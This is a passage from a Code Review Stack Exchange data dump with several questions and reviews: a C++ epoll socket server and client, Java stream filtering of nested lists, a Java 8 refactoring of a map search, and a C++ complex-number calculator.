void send(const int &fd, const Bytes &buffer)
{
size_t bytesSend = 0;
ssize_t result;
while (bytesSend < buffer.size()) {
result = ::write(fd, const_cast<Byte*>(buffer.data()) + bytesSend, buffer.size());
if (result < 0 ) {
throw SocketException(SocketException::SocketSendError);
}
bytesSend += static_cast<size_t>(result);
}
}
} //EpollSocket
</code></pre>
<hr>
<p><strong>The server side</strong></p>
<p>server.h</p>
<pre><code>#ifndef SERVER_H
#define SERVER_H
#include "abstractsocket.h"
namespace EpollSocket {
class Server : public AbstractSocket
{
public:
Server(const int& backlog = SOMAXCONN);
bool listen(const std::string& service,
OnNewConnected onNewConnected,
OnServerReceived onReceived,
const std::string& addr = std::string(),
const int &socktype = SOCK_STREAM);
private:
/**
* @brief backlog is the number of connections allowed on the incoming queue.
*/
int mBacklog;
Clients mClients;
};
}
#endif // SERVER_H
</code></pre>
<p>server.cpp</p>
<pre><code>#include "server.h"
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/epoll.h>
#include <fcntl.h>
#include <sys/un.h>
#include <netdb.h>
#include <algorithm>
namespace EpollSocket {
// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &((reinterpret_cast<struct sockaddr_in*>(sa))->sin_addr);
}
return &((reinterpret_cast<struct sockaddr_in6*>(sa))->sin6_addr);
}
bool set_nonblocking(const int& sfd)
{
int flags = fcntl(sfd, F_GETFL);
if(flags < 0) {
perror("fcntl F_GETFL");
return false;
}
flags |= O_NONBLOCK;
if(fcntl(sfd, F_SETFL, flags) < 0) {
perror("fcntl F_SETFL");
return false;
}
return true;
}
Server::Server(const int &backlog):
AbstractSocket(),
mBacklog(backlog)
{
}
bool Server::listen(const std::string &service,
OnNewConnected onNewConnected,
OnServerReceived onReceived,
const std::string &addr,
const int &socktype)
{
if(!AbstractSocket::establish(addr, service, ::bind, socktype)){
AbstractSocket::close();
return false;
}
#if 0 // Don't use this in product enviroment
if(AbstractSocket::setsockopt(SO_REUSEADDR, 1) == -1){
perror("setsockopt SO_REUSEADDR error");
AbstractSocket::close();
return false;
}
#endif
if(::listen(mSockfd, mBacklog) == -1) {
perror("listen error");
AbstractSocket::close();
return false;
}
AbstractSocket::mState = AbstractSocket::ConnectedState;
if(!set_nonblocking(mSockfd)) {
AbstractSocket::close();
return false;
}
const int& epfd = epoll_create(EPOLL_QUEUE_LEN);
struct epoll_event ev;
//ev.events = EPOLLIN | EPOLLET;
ev.events = EPOLLIN;
ev.data.fd = mSockfd;
if(epoll_ctl(epfd, EPOLL_CTL_ADD, mSockfd, &ev) == -1) {
perror("epoll_ctl error");
AbstractSocket::close();
return false;
}
struct epoll_event events[MAX_EPOLL_EVENTS_PER_RUN];
char remoteIP[INET6_ADDRSTRLEN];
struct sockaddr_storage remoteaddr; // client address
socklen_t addrlen;
while (AbstractSocket::mState == AbstractSocket::ConnectedState) {
int nfds = epoll_wait(epfd, events, MAX_EPOLL_EVENTS_PER_RUN, EPOLL_WAIT_TIMEOUT);
if(nfds == -1) {
perror("epoll_wait error");
AbstractSocket::close();
return false;
}
for(int i = 0; i < nfds; i++) {
const epoll_event& e = events[i];
if(e.data.fd == mSockfd) {// newly accept()ed socket descriptor
addrlen = sizeof remoteaddr;
const int& newfd = accept(mSockfd, reinterpret_cast<struct sockaddr*>(&remoteaddr), &addrlen);
if(newfd == -1) {
perror("accept error");
continue;
}
ev.data.fd = newfd;
ev.events = EPOLLIN | EPOLLET;
if(!set_nonblocking(newfd)) {
perror("set O_NONBLOCK error");
::close(newfd);
continue;
}
if(epoll_ctl(epfd, EPOLL_CTL_ADD, newfd, &ev) == -1) {
perror("epoll_ctl error");
::close(newfd);
}
mClients.emplace_back(newfd);
onNewConnected(newfd,
inet_ntop(remoteaddr.ss_family, get_in_addr(reinterpret_cast<struct sockaddr*>(&remoteaddr)), remoteIP, INET6_ADDRSTRLEN));
} else if(e.events & EPOLLIN) {
const int& fd = e.data.fd;
if(fd < 0) {
perror("EPOLLIN fd error");
continue;
}
printf("EPOLLIN receive\n");
// start read
try {
onReceived(fd, mClients);
} catch (const SocketException&) {
//disconnected
printf("start disconnected: %d\n", errno);
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &ev);
::close(fd);
mClients.erase(std::remove(mClients.begin(), mClients.end(), fd), mClients.end());
printf("end disconnected: %d\n", errno);
}
} else if(e.events & EPOLLOUT) {
// start write?
}
}
}
return true;
}
} // EpollSocket
</code></pre>
<hr>
<p><strong>The client side</strong></p>
<pre><code>#ifndef CLIENT_H
#define CLIENT_H
#include "abstractsocket.h"
namespace EpollSocket {
class Client : public AbstractSocket
{
public:
Client();
bool connect(const std::string& addr,
const std::string& service,
const OnClientReceived onReceived,
const int &socktype = SOCK_STREAM);
private:
};
}
#endif // CLIENT_H
</code></pre>
<p>client.cpp</p>
<pre><code>#include "client.h"
#include <sys/epoll.h>
#include <cstring>
#include <iostream>
namespace EpollSocket {
Client::Client() :
AbstractSocket()
{
}
bool Client::connect(const std::string &addr,
const std::string &service,
const OnClientReceived onReceived,
const int &socktype)
{
if(!AbstractSocket::establish(addr, service, ::connect, socktype)){
AbstractSocket::close();
return false;
}
AbstractSocket::mState = AbstractSocket::ConnectedState;
const int& epfd = epoll_create(EPOLL_QUEUE_LEN);
struct epoll_event ev;
ev.events = EPOLLIN;
ev.data.fd = mSockfd;
if(epoll_ctl(epfd, EPOLL_CTL_ADD, mSockfd, &ev) == -1) {
perror("epoll_ctl error");
AbstractSocket::close();
return false;
}
struct epoll_event events[MAX_EPOLL_EVENTS_PER_RUN];
while (AbstractSocket::mState == AbstractSocket::ConnectedState) {
int nfds = epoll_wait(epfd, events, MAX_EPOLL_EVENTS_PER_RUN, EPOLL_WAIT_TIMEOUT);
if(nfds == -1) {
perror("epoll_wait error");
AbstractSocket::close();
return false;
}
for(int i = 0; i < nfds; i++) {
const epoll_event& e = events[i];
if(e.events & EPOLLIN) {
const int& fd = e.data.fd;
if(fd < 0) {
perror("EPOLLIN fd error");
continue;
}
// start read
try {
onReceived(mSockfd);
} catch (const SocketException&) {
//disconnected
printf("start disconnected: %d\n", errno);
epoll_ctl(epfd, EPOLL_CTL_DEL, mSockfd, &ev);
AbstractSocket::close();
printf("end disconnected: %d\n", errno);
}
}
}
}
return true;
}
} // EpollSocket
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:27:00.137",
"Id": "463703",
"Score": "0",
"body": "Dont know if you are aware, but boost.asio does what you are trying to do without reinvent the wheel."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:50:38.510",
"Id": "463706",
"Score": "0",
"body": "There is nothing related to `epoll()` in the code you posted. What exactly do you want reviewed? Make sure that the things you actually want reviewed are included fully in your question, don't just give a link to it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:29:34.450",
"Id": "463709",
"Score": "0",
"body": "@G.Sliepen Hi, thanks for the reply, I add the core part of the code which I want to be reviewed."
}
] |
[
{
"body": "<h1>Prefer <code>static const</code> variables over <code>#define</code>s</h1>\n\n<p>Don't <code>#define</code> constants if you could just as well declare them as regular <code>static const</code> variables. One advantage of this is that you can put those variables inside a namespace, whereas macros are always globally visible.</p>\n\n<h1>Avoid giving new names to existing types</h1>\n\n<p>Don't make a new type <code>Byte</code> when it's just the same as <code>uint8_t</code>. It saves hardly any typing, and now someone reading your code first has to figure out what a <code>Byte</code> actually is, whereas <code>uint8_t</code> is a standard type that should be known to anyone.</p>\n\n<p>If you can use C++17, then you can use <code>std::byte</code>.</p>\n\n<p>Apart from <code>Bytes</code>, the other typedefs in <code>abstractsocket.h</code> are not used at all in either <code>abstractsocket.h</code> or <code>abstractsocket.cpp</code>. So they should not be there at all.</p>\n\n<h1>Make <code>send()</code> and <code>receive()</code> member functions of <code>AbstractSocket</code></h1>\n\n<p>These functions are supposed to be used on sockets, so make this explicit: they should be member functions of <code>AbstractSocket</code>.</p>\n\n<h1>Inherit from <code>std::runtime_error</code> instead of <code>std::exception</code></h1>\n\n<p>Instead of making <code>SocketException</code> inherit from <code>std::exception</code>, make it inherit <code>std::runtime_error</code>. The latter is more specific, so it provides more information to the application.</p>\n\n<h1>Use further inheritance for exceptions</h1>\n\n<p>Instead of having <code>enum Type</code> to distinguish between possible socket exceptions, just use more inheritance to follow the pattern already used by exceptions. So:</p>\n\n<pre><code>class SocketException: public std::runtime_error {...};\nclass SocketBindError: public SocketException {...};\nclass SocketReceiveError: public SocketException {...};\nclass SocketSendError: public SocketException {...};\n</code></pre>\n\n<h1>Avoid repeating yourself</h1>\n\n<p>There is some repetition going on in your class names. For example, <code>SocketExpection</code> is part of namespace <code>EpollSocket</code>, so \"<code>Socket</code>\" appears twice. You could get rid of some duplication there.</p>\n\n<h1><code>AbstractSocket</code> is not abstract at all</h1>\n\n<p>Your class <code>AbstractSocket</code> is actually a concrete socket implementation, so why does it have \"<code>Abstract</code>\" in the name?</p>\n\n<h1>Be consistent in reporting errors</h1>\n\n<p>Your code is printing errors in many different ways:</p>\n\n<ul>\n<li><code>fprintf(stderr, ...)</code></li>\n<li><code>printf(...)</code></li>\n<li><code>perror(...)</code></li>\n</ul>\n\n<p>Make sure there is a consistent way of printing errors, if this is at all desired. If this is meant to be a library, it's probably best not to print anything, and let the application that calls these library functions decide how to report errors.</p>\n\n<p>Also, sometimes you <code>return false</code>, other times you <code>throw</code> a <code>SocketException</code>. While there are sometimes good reasons to have both ways of returning an error, there doesn't seem to be much consistency in your code. In general, exceptions should be used for really exceptional conditions. Network errors however are quite common. I would recommend you use the boolean return type to indicate whether a function succeeded or not, and possibly have the functions take a reference to a <a href=\"https://en.cppreference.com/w/cpp/error/error_code\" rel=\"nofollow noreferrer\"><code>std::error_code</code></a> so it can fill in more details about the error in it.</p>\n\n<h1>You are not binding outgoing sockets</h1>\n\n<p>In <code>AbstractSocket::establish()</code>, you are calling <code>socket()</code> to create an outgoing socket, but don't call <code>bind()</code> on it. That's is perfectly normal. But when it fails, you are throwing a <code>SocketBindError</code>. That is incorrect, it is more likely it's a connection error, so you should add a <code>SocketConnectError</code>.</p>\n\n<h1>Do cleanup on errors in <code>establish()</code>, not in the <code>action()</code> callback</h1>\n\n<p>It's always best to clean up resources in the same scope as where you created them. So if a connection fails, then call <code>close()</code> in <code>establish()</code>.</p>\n\n<h1>Avoid capturing return values by reference</h1>\n\n<p>In <code>AbstractSocket::close()</code> you write this line:</p>\n\n<pre><code>const int &r = ::close(mSockfd);\n</code></pre>\n\n<p>That's quite weird. By using a reference here, the return value of <code>::close()</code> is actually stored in a temporary, and you are creating a const reference to a temporary value. Luckily, in C++11 and later, this extends the lifetime of the temporary until the end of the function scope, so it is not undefined behavior, but the normal way to write this is:</p>\n\n<pre><code>int r = ::close(mSockfd);\n</code></pre>\n\n<h1>A call to <code>::close()</code> always closes the socket, even if it returns an error</h1>\n\n<p>So in <code>AbstractSocket::close()</code>, you should unconditionally set <code>mState = UnconnectedState</code>.</p>\n\n<h1><code>receive()</code> and <code>send()</code> are broken</h1>\n\n<p>You are calling <code>receive()</code> with a given <code>size</code>, but there is no guarantee that that many bytes have actually been received by the kernel. In fact, you have no guarantee that any bytes have been received; <code>epoll()</code> might spuriously returned and set the <code>POLLIN</code> flag even if nothing is received. In any case, if you call <code>receive(..., 1000)</code>, and only 900 bytes were received so far by the kernel, then the first call to <code>::read()</code> will succeed and return <code>900</code>, but the second one will return <code>-1</code> and set <code>errno</code> to <code>EWOULDBLOCK</code>.</p>\n\n<p>Similarly, <code>send()</code> will also fail if the size of <code>buffer</code> if the other side doesn't process the data fast enough and the sending side's kernel buffers are filled up.</p>\n\n<p>These things are normal behavior, you have to deal with that in your code instead of throwing an exception.</p>\n\n<h1>Use <code>getnameinfo()</code> instead of <code>inet_ntop()</code></h1>\n\n<p>The counterpart to <code>getaddrinfo()</code> is <code>getnameinfo()</code>. It takes a <code>struct sockaddr *</code>, so you don't have to do the trick with <code>get_in_addr()</code> to give <code>inet_ntop()</code> a pointer to the actual address. While <code>getnameinfo()</code> normally tries to resolve an address to a hostname, if you only want to see a numeric address you can pass <code>NI_NUMERICHOST | NI_NUMERICSERV</code> as the <code>flags</code> argument.</p>\n\n<h1>You are not implementing asynchronous I/O at all</h1>\n\n<p>There is nothing asynchronous about your code. It is just a basic event loop, where you sequentially process events as they are coming in. A real asynchronous I/O framework would allow the application to submit multiple concurrent read and write requests, and have the framework process this in the background while the application can do something else.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:26:50.477",
"Id": "236582",
"ParentId": "236571",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236582",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:26:26.917",
"Id": "236571",
"Score": "0",
"Tags": [
"c++",
"object-oriented",
"design-patterns",
"socket",
"server"
],
"Title": "Basic asio framework using epoll"
}
|
236571
|
<p>I need to run filtering on nested Lists and return a List of items from back </p>
<p>I will put a sample code here with my model</p>
<pre><code>import lombok.Data;
import java.util.List;
import java.util.stream.Collectors;
class Scratch {
public static void main(String[] args) {
ParentModel parent = new ParentModel();
List<Information> informationList = parent.getChildDatas().stream()
//Filtering null && empty grandchild
.filter(childData -> childData.getGrandChildDatas() !=null && !childData.getGrandChildDatas().isEmpty())
.flatMap(childData -> childData.getGrandChildDatas().stream() )
//Filtering null && empty information
.filter(grandChild -> grandChild.getInformations() !=null && !grandChild.getInformations().isEmpty())
.flatMap(grandChild-> grandChild.getInformations().stream())
//filtering key
.filter(information -> information.getKey().equals("SOMETHING"))
.collect(Collectors.toList());
}
@Data
static class ParentModel {
private List<ChildModel> childDatas;
}
@Data
static class ChildModel {
private List<GrandChildModel> grandChildDatas;
}
@Data
static class GrandChildModel {
private List<Information> informations;
}
@Data
static class Information{
private String info1;
private String info2;
private String key;
}
}
</code></pre>
<p>So here you can see, I'm filtering and mapping it back to child streams two times.</p>
<p>Is there alternate way to achieve what I'm trying to do here ??</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:15:51.773",
"Id": "463889",
"Score": "1",
"body": "I have rolled back your latest edit. Please see \"[What should I do when someone answers my question?](https://codereview.stackexchange.com/help/someone-answers)\", especially, the \"What should I not do?\" section."
}
] |
[
{
"body": "<p>First, you should avoid using <code>null</code> to represent an empty list. Use an actual empty list, or even <a href=\"https://docs.oracle.com/en/java/javase/12/docs/api/java.base/java/util/Collections.html#emptyList()\" rel=\"nofollow noreferrer\"><code>Collections.emptyList()</code></a>, which is a immutable singleton. This will avoid the need for <code>null</code> checks. </p>\n\n<p>Second, you are filtering by getting a sub attribute, checking conditions on that object, then requesting the same sub attribute in the next step. Instead, you should <code>map</code> to the sub attribute, then filter & process. </p>\n\n<pre><code> ...\n .map(ChildModel::getChildrenDatas)\n .filter(data -> data != null && !data.isEmpty())\n .flatMap(List::stream)\n ...\n</code></pre>\n\n<p>Third, the <code>.isEmpty()</code> check is unnecessary, as <code>.flatMap</code> works fine with an empty stream. </p>\n\n<pre><code> ...\n .map(ChildModel::getChildrenDatas)\n .filter(Objects::nonNull)\n .flatMap(List::stream)\n ...\n</code></pre>\n\n<p>Again, if you don’t use <code>null</code> to represent empty lists, the filter line can be removed entirely. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:15:20.090",
"Id": "463726",
"Score": "0",
"body": "Unfortunately I wish to avoid null, but the data and data model is provided by 3rd party wrapped in their client code for their server. So i need to live with that"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:02:21.157",
"Id": "236588",
"ParentId": "236575",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236588",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:31:07.617",
"Id": "236575",
"Score": "1",
"Tags": [
"java",
"lambda"
],
"Title": "Better Filtering on Java Streams"
}
|
236575
|
<p>I have a method that iterate a list of maps if a certain element is found then set value of certain variables and break the loop.
I'm trying to revamp this into Java 8. And further if it can be improved, please suggest.</p>
<pre><code>public static void doAction(List<Map<String, String>> decisionTree, String code, StringBuilder destination) {
boolean conditionFound = false;
boolean decisionFound = false;
for (int i = 0; i < 100; i++) {
if (null != decisionTree) {
for (Map<String, String> decisionMap : decisionTree) {
if (null != decisionMap && code.equalsIgnoreCase(decisionMap.get("code"))) {
decisionFound = true;
String decision = decisionMap.get("is_success");
String decisionAction = decisionMap.get("action");
BiPredicate<String, String> isApplicable = (d, a) -> "N".equalsIgnoreCase(d) && "Z".equalsIgnoreCase(a);
if (isApplicable.test(decision, decisionAction)) {
destination.append(decisionMap.get("destination"));
conditionFound = Boolean.TRUE;
}
break;
}
}
if(decisionFound){
if(conditionFound){
// do something
break;
}
}
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T12:16:46.333",
"Id": "463714",
"Score": "0",
"body": "Does this work? If yes, what is the point of the parameters `decisionFound` and `conditionFound`? It looks like you are attempting to return values to the caller, but that isn't possible in Java like that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:26:04.803",
"Id": "463716",
"Score": "0",
"body": "@RoToRa I just added more details. `decisionFound` and `conditionFound` are being used later either to break the outer loop or continue."
}
] |
[
{
"body": "<p>Probably not the right forum.</p>\n\n<p>In java <code>f(x)</code> the method <code>f</code> will never change the variable <code>x</code> to another value; it cannot be make it null or true or whatever. (A rule to prevent a category of errors.)</p>\n\n<p>So you want a result:</p>\n\n<pre><code>public static class Decision {\n String destination;\n boolean conditionFound;\n}\n</code></pre>\n\n<p>As in java null's should in normal code not be valid, I did not test them.\nA test however would not need:</p>\n\n<pre><code>if (null != decisionTree) { // Typical C style.\n</code></pre>\n\n<p>but can be</p>\n\n<pre><code>if (decisionTree != null) {\n</code></pre>\n\n<p>As the following is not legal java:</p>\n\n<pre><code>if (decisionTree = null) { // *** Illegal java. // Run-time error in C (assignment).\n</code></pre>\n\n<p>Searching the <code>code</code> entry result results in an <code>Optional<Decision></code>.</p>\n\n<pre><code>public static Optional<Decision> doAction(List<Map<String, String>> decisionTree,\n String code) {\n decisionTree.stream()\n .findAny(decisionMap -> code.equalsIgnoreCase(decisionMap.get(\"code\")))\n .map(decisionMap -> {\n Decision decision = new Decision();\n\n String success = decisionMap.get(\"is_success\");\n String action = decisionMap.get(\"action\");\n BiPredicate<String, String> isApplicable = (s, a) ->\n \"N\".equalsIgnoreCase(s) && \"Z\".equalsIgnoreCase(a);\n\n if (isApplicable.test(success, action)) {\n decision.destination = decisionMap.get(\"destination\");\n decision.conditionFound = true;\n }\n return decision\n });\n}\n\nOptional<Decision> optionalDecision = doAction(decisionTree, code);\noptionalDecision.ifPresent(decision -> {\n if (decision.conditionFound) {\n System.out.println(destination);\n }\n});\n</code></pre>\n\n<p>A BiPredicate is not really needed, but not bad.</p>\n\n<p>Instead of a result object, one could also pass an in-out parameter:</p>\n\n<pre><code>public static class DecisionParameter {\n boolean decisionFound;\n StringBuilder destination;\n boolean conditionFound;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:27:08.303",
"Id": "463717",
"Score": "0",
"body": "I just edited the question. Some of variables were not passed to the function instead they were used in the same method. For example: `decisionFound` and `conditionFound` are being used later either to break the outer loop or continue."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:33:16.853",
"Id": "463718",
"Score": "2",
"body": "**CodeReview** is primarily for working code. You'll get nice detailed answers when you post a new question. Maybe better on [**StackOverflow**](https://stackoverflow.com) with for-loops. I am now leaving for two days, so you'll need someone else answering anyhow. Success."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:42:40.053",
"Id": "463724",
"Score": "0",
"body": "@JoopEggen I don't see anything about this code that is *not* working? I don't see a need to point out that \"CodeReview is primarily for working code\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:58:47.400",
"Id": "463745",
"Score": "2",
"body": "@SimonForsberg in the original code, the `decisionFound` was a boolean parameter being passed into the method. Assignments made to that variable from within the function wouldn't have been observable outside of it, which is probably where the question of 'does this code really do what the op thinks it does' came from. As it stands, the code still seems to smell a bit of example code (such as the added for loop that doesn't make any difference), but I think there's enough actual code that the question is answerable."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T12:56:46.317",
"Id": "236580",
"ParentId": "236577",
"Score": "5"
}
},
{
"body": "<p>@Joop Eggen has already made some good suggestions based around your original code. You've made some slight modifications in response to comments to the parameters of your function, however your code still doesn't really make sense in some ways.</p>\n\n<blockquote>\n<pre><code>for (int i = 0; i < 100; i++) {\n</code></pre>\n</blockquote>\n\n<p>It's unclear why you'd want to perform this operation 100 times. If it doesn't work the first time, it's not going to work the 100th, you're not changing anything based on <code>i</code>, so unless the list is getting updated whilst you're processing on it by another thread this seems like a waste.</p>\n\n<blockquote>\n<pre><code>if(decisionFound){\n if(conditionFound){\n // do something\n break;\n }\n}\n</code></pre>\n</blockquote>\n\n<p>As it stands, if <code>conditionFound</code> is true, then <code>decisionFound</code> must be true. There's no reason for you to check <code>decisionFound</code> here.</p>\n\n<p>One thing I don't agree with @Joop Eggen about is that using <code>BiPredicate</code> helps your code. To me, this:</p>\n\n<blockquote>\n<pre><code>String decision = decisionMap.get(\"is_success\");\nString decisionAction = decisionMap.get(\"action\");\n\nBiPredicate<String, String> isApplicable = (d, a) -> \"N\".equalsIgnoreCase(d) && \"Z\".equalsIgnoreCase(a);\n</code></pre>\n</blockquote>\n\n<p>simply makes it harder to know what <code>a</code> and <code>d</code> are when looking at the logic. There's no requirement at the moment to have these temporary variables, what's wrong with just putting it in an old fashioned if statement?</p>\n\n<pre><code>if (\"N\".equalsIgnoreCase(decisionMap.get(\"is_success\")) \n && \"Z\".equalsIgnoreCase(decisionMap.get(\"action\"))) {\n</code></pre>\n\n<p>Whilst I agree that it would be better to return the decision and let the caller decide what to do with the value I would probably go with several filters as I think it makes the code easier to follow:</p>\n\n<pre><code>decisionTree.stream()\n .filter(Objects::nonNull)\n .filter(m -> code.equalsIgnoreCase(m.get(\"code\")))\n .filter(m -> \"N\".equalsIgnoreCase(m.get(\"is_success\")))\n .filter(m -> \"Z\".equalsIgnoreCase(m.get(\"action\")))\n .findFirst()\n .ifPresent(m -> destination.append(m.get(\"destination\")));\n</code></pre>\n\n<p>You could return the result of <code>findFirst</code> if you decide you don't want to do the append processing in your <code>doAction</code> method.</p>\n\n<p>For what it's worth, some of the strings being used seem like they could benefit from being in constants/enums 'code', 'is_success', 'action', 'N', 'Z'. If these get out of step between the caller and the code it's going to stop working.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:53:07.473",
"Id": "236599",
"ParentId": "236577",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "236599",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:57:18.210",
"Id": "236577",
"Score": "0",
"Tags": [
"java",
"stream"
],
"Title": "Refactor method to Java 8"
}
|
236577
|
<p>After following the suggestions from the first question on that topic (<a href="https://codereview.stackexchange.com/questions/236550/c-calculator-for-complex-numbers">link</a>), I'd like to show you the result now:</p>
<pre><code>#include <iostream>
class ComplexNumber {
private:
double real;
double imaginary;
public:
ComplexNumber operator+(ComplexNumber b) {
//Just add real- and imaginary-parts
double real = this->real + b.real;
double imaginary = this->imaginary + b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
return c;
}
ComplexNumber operator-(ComplexNumber b) {
//Just subtract real- and imaginary-parts
double real = this->real - b.real;
double imaginary = this->imaginary - b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
return c;
}
ComplexNumber operator*(ComplexNumber b) {
//Use binomial theorem to find formula to multiply complex numbers
double real = this->real * b.real - this->imaginary * b.imaginary;
double imaginary = this->imaginary * b.real + this->real * b.imaginary;
ComplexNumber c = ComplexNumber(real, imaginary);
return c;
}
ComplexNumber operator/(ComplexNumber b) {
//Again binomial theorem
double real = (this->real * b.real + this->imaginary * b.imaginary) / (b.real * b.real + b.imaginary * b.imaginary);
double imaginary = (this->imaginary * b.real - this->real * b.imaginary) / (b.real * b.real + b.imaginary * b.imaginary);
ComplexNumber c = ComplexNumber(real, imaginary);
return c;
}
void printNumber(char mathOperator) {
std::cout << "a " << mathOperator << " b = " << this->real << " + (" << this->imaginary << ") * i" << std::endl;
}
/*
* Constructor to create complex numbers
*/
ComplexNumber(double real = 0.0, double imaginary = 0.0) {
this->real = real;
this->imaginary = imaginary;
}
};
int main() {
/*
* Variables for the real- and imaginary-parts of
* two complex numbers
*/
double realA;
double imaginaryA;
double realB;
double imaginaryB;
/*
* User input
*/
std::cout << "enter real(A), imag(A), real(B) and imag(B) >> ";
std::cin >> realA >> imaginaryA >> realB >> imaginaryB;
std::cout << std::endl;
/*
* Creation of two objects of the type "ComplexNumber"
*/
ComplexNumber a(realA, imaginaryA);
ComplexNumber b(realB, imaginaryB);
/*
* Calling the functions to add, subtract, multiply and
* divide the two complex numbers.
*/
ComplexNumber c = a + b;
c.printNumber('+');
c = a - b;
c.printNumber('-');
c = a * b;
c.printNumber('*');
c = a / b;
c.printNumber('/');
return 0;
}
</code></pre>
<p>If you have any suggestions on further improving the code, I would really appreciate it if you share them with me.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T21:14:48.517",
"Id": "463773",
"Score": "2",
"body": "Stop using the `this->` notation. It is only necessary to distinguish between member names and method parameters. Reduce the amount of typing effort and possible typos."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T01:17:11.970",
"Id": "463785",
"Score": "2",
"body": "@ThomasMatthews probably a habit coming from Java. personally I like it because I think it is clearer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T21:48:55.263",
"Id": "463937",
"Score": "2",
"body": "I've never programmed in Java, but I use `this->` extensively in C++ to refer to member fields, so it's not just a Java-acquired habit. I also think it adds clarity. The alternative for me would be some sort of prefix, like `m_`, which a lot of people think is even uglier. Overall, if having `this->` makes your code hard to read, then there are more fundamental problems, just like if having `std::` makes your code hard to read."
}
] |
[
{
"body": "<h1>Member Access</h1>\n\n<p>In the real world, people often care about being able to look at the real and imaginary parts of a complex number individually. As such, you will want to provide an interface to them. While contrary to some of the advice you revived in your last review, I'd advise giving these members variables <code>public</code> access. These components are not an implementation detail of your class. Being able to freely read and mutate the components of a complex number is simply part of the expected interface.</p>\n\n<h1>Coupling with <code>main</code> and <code>std::cout</code></h1>\n\n<p>In your current implementation, <code>ComplexNumber</code> includes a public function <code>printNumber</code> to display the complex number as an expression of <code>a</code> and <code>b</code>. However, <code>a</code> and <code>b</code> have no meaning within the class itself, and only exist in your <code>main</code> function. Likewise, <code>printNumber</code> always prints the complex number to <code>std::cout</code>. Out in the wild, developers may want to write a complex number to other places, such as <code>std::cerr</code> or a file.</p>\n\n<p>Right now, this functionality isn't as useful as it could be for an outside user. What would be more helpful is the ability to print a complex number itself to <em>any</em> output stream.</p>\n\n<p>The most robust way to accomplish this would be by <a href=\"https://www.learncpp.com/cpp-tutorial/93-overloading-the-io-operators/\" rel=\"noreferrer\">overloading the I/O operators</a>. A possible implemetation might look like</p>\n\n<pre><code>class ComplexNumber {\n // ... snip\n friend std::ostream& operator<<(std::ostream &out, ComplexNumber c);\n};\n\nstd::ostream& operator<<(std::ostream &out, ComplexNumber c) {\n out << c.real << \" + \" << c.imaginary << 'i';\n return out;\n}\n</code></pre>\n\n<p>Using this implementation, you can print <code>ComplexNumber</code> instances directly to <code>std::cout</code> via</p>\n\n<pre><code>ComplexNumber c(2, 3); \nstd::cout << c; // prints 2 + 3i\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:49:04.280",
"Id": "463830",
"Score": "0",
"body": "While I mostly agree with you on \"Member Access\", it's interesting to note that `std::complex` does not."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T12:16:06.077",
"Id": "464331",
"Score": "0",
"body": "Hello, I've tried to understand the syntax for a couple of days now, but I don't really get it. Could you maybe explain the \"friend\"-syntax you are using to me?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T16:20:49.953",
"Id": "464354",
"Score": "1",
"body": "@chrysaetos99 See the explanation given on [this website](https://www.learncpp.com/cpp-tutorial/813-friend-functions-and-classes/). Using `friend` functions is a common idiom to allow overloaded operators to access the private state of a class without being member functions themselves."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:50:42.690",
"Id": "236584",
"ParentId": "236578",
"Score": "8"
}
},
{
